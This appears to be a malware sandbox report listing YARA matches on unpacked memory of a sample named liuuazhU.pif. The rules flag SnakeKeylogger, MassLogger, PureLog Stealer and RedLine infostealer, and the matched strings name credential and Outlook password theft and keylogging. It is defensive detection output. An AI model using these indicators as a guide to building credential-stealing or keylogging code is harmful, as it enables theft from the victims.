11.2.liuuazhU.pif.2bd35570.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
11.2.liuuazhU.pif.2bd35570.8.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd35570.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2bd35570.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x50cc6:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x50c9a:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x50d5e:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x50c76:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x50cdc:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x50aa9:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x50033:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x4f4f8:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x4df30:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x4deff:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
11.2.liuuazhU.pif.2a996826.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2a996826.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2a996826.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d03772e.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d03772e.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d03772e.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1d7f5570.8.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d7f5570.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d7f5570.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x50cc6:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x50c9a:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x50d5e:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x50c76:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x50cdc:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x50aa9:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x50033:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x4f4f8:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x4df30:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x4deff:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c760000.7.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c760000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c760000.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.43d038.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x350b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x35730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1d7f6478.9.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1d7f6478.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1d7f6478.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
11.2.liuuazhU.pif.2ab30000.7.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2ab30000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2ab30000.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c560000.5.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c560000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c560000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d036826.2.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d036826.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d036826.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c760000.7.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c760000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c760000.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.1d3a0000.4.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1d3a0000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1d3a0000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
11.1.liuuazhU.pif.43d038.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x350b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x35730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.2bd64590.10.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd64590.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2bd64590.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c17772e.4.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c17772e.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c17772e.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x21ca6:$a1: get_encryptedPassword 0x21c7a:$a2: get_encryptedUsername 0x21d3e:$a3: get_timePasswordChanged 0x21c56:$a4: get_passwordField 0x21cbc:$a5: set_encryptedPassword 0x21a89:$a7: get_logins 0x21013:$a8: GetOutlookPasswords 0x204d8:$a9: StartKeylogger 0x1ef10:$a10: KeyLoggerEventArgs 0x1eedf:$a11: KeyLoggerEventArgsEventHandler 0x21b5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.476068.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.2.liuuazhU.pif.1e425570.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e425570.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1e425570.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
17.2.liuuazhU.pif.43d038.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x350b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x35730:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1c560000.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c560000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c560000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
6.2.liuuazhU.pif.1e425570.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e425570.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.liuuazhU.pif.1e425570.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x50cc6:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x50c9a:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x50d5e:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x50c76:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x50cdc:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x50aa9:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x50033:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x4f4f8:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x4df30:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x4deff:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
11.1.liuuazhU.pif.476068.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.2.liuuazhU.pif.2bd64590.10.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2bd64590.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2bd64590.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
17.2.liuuazhU.pif.1c176826.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c176826.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c176826.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x20dae:$a1: get_encryptedPassword 0x20d82:$a2: get_encryptedUsername 0x20e46:$a3: get_timePasswordChanged 0x20d5e:$a4: get_passwordField 0x20dc4:$a5: set_encryptedPassword 0x20b91:$a7: get_logins 0x2011b:$a8: GetOutlookPasswords 0x1f5e0:$a9: StartKeylogger 0x1e018:$a10: KeyLoggerEventArgs 0x1dfe7:$a11: KeyLoggerEventArgsEventHandler 0x20c65:$a13: _encryptedPassword
11.2.liuuazhU.pif.2aa80000.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
11.2.liuuazhU.pif.2aa80000.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.liuuazhU.pif.2aa80000.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
11.2.liuuazhU.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1c560f08.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c560f08.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c560f08.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1fea6:$a1: get_encryptedPassword 0x1fe7a:$a2: get_encryptedUsername 0x1ff3e:$a3: get_timePasswordChanged 0x1fe56:$a4: get_passwordField 0x1febc:$a5: set_encryptedPassword 0x1fc89:$a7: get_logins 0x1f213:$a8: GetOutlookPasswords 0x1e6d8:$a9: StartKeylogger 0x1d110:$a10: KeyLoggerEventArgs 0x1d0df:$a11: KeyLoggerEventArgsEventHandler 0x1fd5d:$a13: _encryptedPassword
6.2.liuuazhU.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 FC 88 44 24 2B 88 44 24 2F B0 A9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
17.2.liuuazhU.pif.1c176826.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
17.2.liuuazhU.pif.1c176826.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.liuuazhU.pif.1c176826.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x22bae:$a1: get_encryptedPassword 0x22b82:$a2: get_encryptedUsername 0x22c46:$a3: get_timePasswordChanged 0x22b5e:$a4: get_passwordField 0x22bc4:$a5: set_encryptedPassword 0x22991:$a7: get_logins 0x21f1b:$a8: GetOutlookPasswords 0x213e0:$a9: StartKeylogger 0x1fe18:$a10: KeyLoggerEventArgs 0x1fde7:$a11: KeyLoggerEventArgsEventHandler 0x22a65:$a13: _encryptedPassword
6.2.liuuazhU.pif.1e426478.7.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
6.2.liuuazhU.pif.1e426478.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
